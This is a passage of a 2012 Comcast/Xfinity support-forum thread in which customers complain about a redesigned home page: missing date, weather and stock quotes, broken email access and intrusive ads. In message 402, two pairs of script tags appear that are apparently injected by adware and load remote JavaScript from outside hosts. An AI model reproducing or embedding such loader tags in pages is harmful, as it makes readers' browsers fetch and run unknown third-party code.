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9/26/12: new home page feedback

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Message 401 of 609
10,846 Views

New page why so big? Lost stock ticker for quick glance at market don't want to change pages or open somthing else. Today now have lost local temp outside but still knows where I am. Reduce the size of the objects and add some of the things back that were on the old page. This one not so good hope you guys listen other wise moving on.

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Message 402 of 609
10,828 Views

add the date to the new home page

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
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Message 403 of 609
10,800 Views

Please place current Dow Jones 30 stock quote back on home page

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Message 404 of 609
10,798 Views

I NEVER HAD ANY PROBLEM BRINGING MY EMAIL UP ON THE OLD PAGE, BUT EVERYTIME I TRY TO GET IT UP ON THE NEW ONE, IT WON'T COME UP.  EVEN WHEN THE NEW PAGE WAS COMING UP EVERY NOW AND THEN, WHEN IT CAME UP, I COULDN'T GET MY EMAIL TO COME UP.  I CAN BRING UP THE FIRST EMAIL PAGE, BUT WHEN I CLICK ON "VIEW ALL", MY EMAIL WON'T COME UP.  IF  YOU DON'T DO SOMETHING IMMEDIATELY, I INTEND TO CLOSE OUT MY ACCOUNT. I'VE ALREADY CLOSED MY CABLE TV BECAUSE OF YOUR LOUSY EMPLOYEES IN SHIPPENSBURG, PA.  THERE ARE A LOT OF INTERNET COMPANIES OUT THERE.  SHAPE UP, OR YOU WILL LOSE MANY CUSTOMERS.  WE DON'T HAVE THE TIME AND PATIENCE TO TOLERATE THIS (EXCUSE ME, THIS LITTLE PROBLEM)  WHEN WE PAY SO MUCH.  Z. JACOBS  

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Message 405 of 609
10,797 Views

What happened to the current stock market results.  I never agreed to having you omit them when you came up with this horrible web page.

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Message 406 of 609
10,792 Views

I HATE the new website and am switching my homepage to something else!!  I am forced to look at scads of STUFF that I have no interest in--and cannot reprogram the site to what I feel is of interest to me.

Posted by
Gold Problem Solver

Message 407 of 609
10,759 Views

Click on Finance

 



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Message 408 of 609
10,754 Views

Gave Comcast a chance--it STINKS!!  Have removed Xfinity as my home page on 2 computers.  The new page is just a LOUD mess of ads, TV/ONLINE channels I have NO interest in.  Email me when you fix this problem--this is definitely a BIG MISTAKE on Comcast's part.

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Message 409 of 609
10,746 Views

I am having the same issue.  How can you  fix it?  It won't do any good to e-mail me because I can't access my e-mail.

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Message 410 of 609
10,722 Views

I have no problem with the change and I really don't care as long as I am able to do what I need to do.  Ever since you changed the homepage, last week, I think when mine changed, I have had so much trouble accessing links and my email.  The only way I am able to get to my email is by clicking sign in, then it takes me back to homepage, then I either have to click on my profile or help to get to that page then scroll down the bottom of the page to click on email.  When I finally do get to my email, I can only read them.  I can't access the links in my email either.  For example, Crazy Coupon Lady, I get email from them, but I can't open their links.  I get coupon in my emails, can't print them out because I can't open the link.  There are other links in the homepage I can't access.  Even in the help page or security page.  So, is it possible that your new homepage maybe the cause?  Did your new homepage have virus, malware, adware that causing all these problems?  Otherwise, I have to pay a lot of money to get my computer fix.

Posted by
Contributor

Message 411 of 609
10,661 Views

What I do not like is everything is huge to the point I feel like I am using 800x600 resolution.

 

This is at 1920x1080.

 

 

 http://i45.tinypic.com/9jhyt5.jpg

 

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Message 412 of 609
10,642 Views

I do not like the new home page at all.

A customizable page is a much better option.

Weather, local news, national news-that's all I want.

If I want to look at the useless stuff, make me search for that, not the stuff that's actually relavent to my everyday life.

Please try to find a format that works for the everyday person, a page that is easy to look at and browse would be nice..

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Message 413 of 609
10,617 Views

The new page is cluttered and is very much like AOL/Huffington Post page.  I cannot believe how poorly designed it is.  There is no apparent logic to what is featured nor any organization of how to present the material.  Rethink this disaster!!

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Message 414 of 609
10,537 Views

I, too, HATE the new page.  I do NOT want to watch TV or movies on my computer, so PLEASE remove the right hand column, or have an option that it can be closed.  My eyesight requires more than a two inch column to read the news, for goodness sake.  This page is HORRIBLE.  Not everyone wants the latest technology.

 

I suppose, if you INSIST on having all the latest technology available to me on my computer, I COULD cancel my bundle and drop cable TV and my landline and ONLY have your computer cable service.  NOW THAT'S A GOOD THOUGHT!!!!

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Message 415 of 609
10,507 Views

I agree with pretty much everyone else on this.  It is busy and where is the stock market report.  Also I have seen these pop up on the home page for over a week now:  Famous Child Stars-Then and Now; TV's Most Fashionable Shows under the TV shows section; 8 Ways to Spot a Liar, etc.  Enough already!  Please go back to the old format.  If things don't get better, I'm off to Firefox.

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Message 416 of 609
10,496 Views

I am so over comcast I will be looking for an alternative in everything.

Posted by
Regular Visitor
Message 417 of 609
10,439 Views

I agree with all who said the new page is terrible, give the user the option to use the old page. Time to go to Google.

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Message 418 of 609
10,338 Views

Yes, where is the date? The information is almost all about entertainment, it's too big and there's not a date on the whole page.

Horrible change. Please change it back.

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Message 419 of 609
10,253 Views

How long is the "Features" area of the home page going to stay the same?  It has had the same nonsense on for a few weeks now>

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Message 420 of 609
10,261 Views

The new home page is horrible.  Everything is too large and spread out.  I don't care to have to keep scrolling up and down the page to find stuff.  Would rather have the home page from years ago when I first got Comcast services.

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Message 421 of 609
10,239 Views

Why am I still getting the old homepage and the new one?? When the homepage comes up it's the old one. Then I check my e-mails and then go back to the homepage, I get the new one..

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Message 422 of 609
10,214 Views

Right on, ianrite!  Your solution to the problem is a greata idea!  The only thing I like about Comcast is the phone service, but that could very easily be replaced as well. 

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Message 423 of 609
10,139 Views

I do not like the new home page.  I can't customize, to have only those items I want.  Where's the local news/connection?  I really want that back!!!!!!!!!!!!!!!!!

Posted by
Gold Problem Solver

Message 424 of 609
10,125 Views

You can find Local news two different ways on the homepage:  1- Hover over the Weather/Sign in area and a link comes up for local news.  OR-2-  click on Local news on the toolbar below Top Videos.

 

PS You could not customize the previous homepage either.



Need Email Help? Please post the following information in your post.
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Which operating system? XP, Vista, Windows 7, Mac OS X
Details of the problem you are having.




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Message 425 of 609
10,089 Views

Don't like it at all! I am thinking of changing my home page to yahoo or msn!

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Message 426 of 609
9,987 Views

your front page is terrible, you are posting information that my dog would not be interested in

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Message 427 of 609
9,985 Views

new home page does not contain weather.  this topic is very useful to me.

Posted by
Frequent Visitor

Message 428 of 609
9,996 Views

The old page was lacking as well, due to lack of customizable features.  Now with the new extra bold format, lack of cusomization is more apparent then before.

 

These comcast forum helpers are really arrogant.  The last setup was missing user friendly features, and that's supposedly a worthy argument for why this entirely different webpage which is less user friendly, actually does not need any additional user friendly features as well?  Comcast seems more interested in pleasing themselves than the customers.

Posted by
Regular Visitor

Message 429 of 609
9,987 Views

I am changing to Yahoo as my home page, since they allow customizing!!  Love it.... and it's user friendly.

 

How do I forward my email and address book to Yahoo from Comcast?  I have Windows XP with Firefox.

 

Thanks

Posted by
Official Employee

Message 430 of 609
9,972 Views

cmassini wrote:

new home page does not contain weather.  this topic is very useful to me.


Our team is looking into this now. I will update you when we have more information to pass along.

 

Sorry for the inconvenience,
Joe
XfinityTV.com/Xfinity.com Support
Twitter: @XfinityTVJoe




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Posted by
Contributor

Message 431 of 609
9,939 Views

ComcastJoe wrote:

cmassini wrote:

new home page does not contain weather.  this topic is very useful to me.


Our team is looking into this now. I will update you when we have more information to pass along.

 

Sorry for the inconvenience,
Joe
XfinityTV.com/Xfinity.com Support
Twitter: @XfinityTVJoe


Out of all of the posts in this thread, you answer this one, adding even more to the page (although, this is sonething useful)?  *shakes head.

Posted by
Gold Problem Solver

Message 432 of 609
9,934 Views

Do you mean the local weather?  If you click ont e temperature above the Sign in, it brings up local weather.



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Which operating system? XP, Vista, Windows 7, Mac OS X
Details of the problem you are having.




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Message 433 of 609
9,912 Views

Featured videos are often no longer available.  Weather is gone.  News items flash by but often can't open for more info.  Poor job.

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Message 434 of 609
9,869 Views

I hate the new home page, can't find the local news for my area anymore.  When I click on the local button I only get the weather.  Wish you would put back the old page, guess I can always you other site as my homepage, since they didn't change.

Posted by
Visitor
Message 435 of 609
9,352 Views

Your previous web page was much better. Size, layout, content, navigation etc.

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Visitor
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Message 436 of 609
9,333 Views

I agree that the "old" way was much better!

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Message 437 of 609
9,787 Views

The new home page reminds me of the check out line at the supermarket with all the scandal sheets. The  misleading headlines, stuff about "celebrities", and stuff probably made up. Important news or items of interest to non-reality show junkies seem to be lacking or at least well diguised. In the supermarket its fun, because your waiting anyway. Here it's something to pass through quickly to get to something I'm interested in.

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Message 438 of 609
9,327 Views

What happen to the wheather on the home page ?

 

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Message 439 of 609
9,766 Views

   Very unhappy.....New homepage does not have local weather displayed, and local news is not updated  with weather or news,  Additionally videos cannot be accessed on a consistant basis.  Very Poor Rating on Services and homepage!!

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Message 440 of 609
9,311 Views

Why is there no date on my home page ?

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Message 441 of 609
9,319 Views

Where on the new page is today's date?

Posted by
Problem Solver

Message 442 of 609
9,307 Views

Apparently, that's another casualty of the downgrade of the page. 

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Message 443 of 609
9,570 Views

Please do something about the ads!!

My security center blocked four Trojan's from this new home page due to an ad that automatically started playing. If this happens again I’ll have no choice but to change my home page as I will not have my computer compromised due to an insecure ad. At least give us the option to “skip this ad” before it starts to play.

The “roll over ad to play” is annoying as well as there are so many it’s impossible not to accidentally roll over one.

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Message 444 of 609
9,557 Views

This by far your WORST revision of the comcast/xfinity home page.  A few changes back we had a page that was easy to customize.  I was able to put items of personal interest upfront.   Unfortunately, you have taken that option away. 

 

Why do you insist on changing things that work

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Message 445 of 609
9,319 Views

I am starting to really dislike the new web home page.    I go to my emails and it opens to the email preview and it is always blank,so then I have to open another page just to get my emails.  Use to be able to see my emails on the tool bar but now anymore.   And what happen to the weather link?   I am not a fan of goggles home page but it is looking better all the time.

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Message 446 of 609
9,546 Views

If someone has said this already. I second and third it or whatever it's up to now. I would really appreciate the option to choose to go back to the previous style of homepage that we all had before. If that is not possible please like MSN (which gives you options to set up your homepage) give us an option to create our homepage like the old one with some of the new items that were added so we can make those choices for our selves. That is all I wanted to put out there. I hope the comcast team of designers are listening to all the input, feedback.

Thanks a really concerned customer.

 

I like my news and 10 things to know for in the main section. If things don't change. I will make MSN my

homepage.

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Message 447 of 609
9,502 Views

The new homepage is not very friendly old one was much easier please replace or let let us know how to get back I would NEVER have  hit new home page if I had knew . PLEASE HELP MANY OF US

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Message 448 of 609
9,311 Views

I truly dislike the new format of the comcast.net home page. It's hard to find the latest news and stocks etc - instead every bit of useless information comes up on the front page. I liked the previous format as everything important was put on the homepage and I could get it at a glance.

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Message 449 of 609
9,494 Views

Absolutely hate the new format - bring the old one back - why was it changed ?? Too much useless information...absolutely agree with the many feedbacks posted.

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Message 450 of 609
9,447 Views

On the home page for Infinity, there is not one place (like there used to be) to pick "news".  What you show us is "junk"..........entertainment junk and frivious stuff.  With what is going on in the news, the least you could do is be serious about the front page and offer us things that are most important.  I am not interested in George Clooney and Hollywood and who is getting married and divored in Hollywood.   Can we just get a little more serious.  It is like offering us "Days of our Lives....................".  Soap Operas!!!!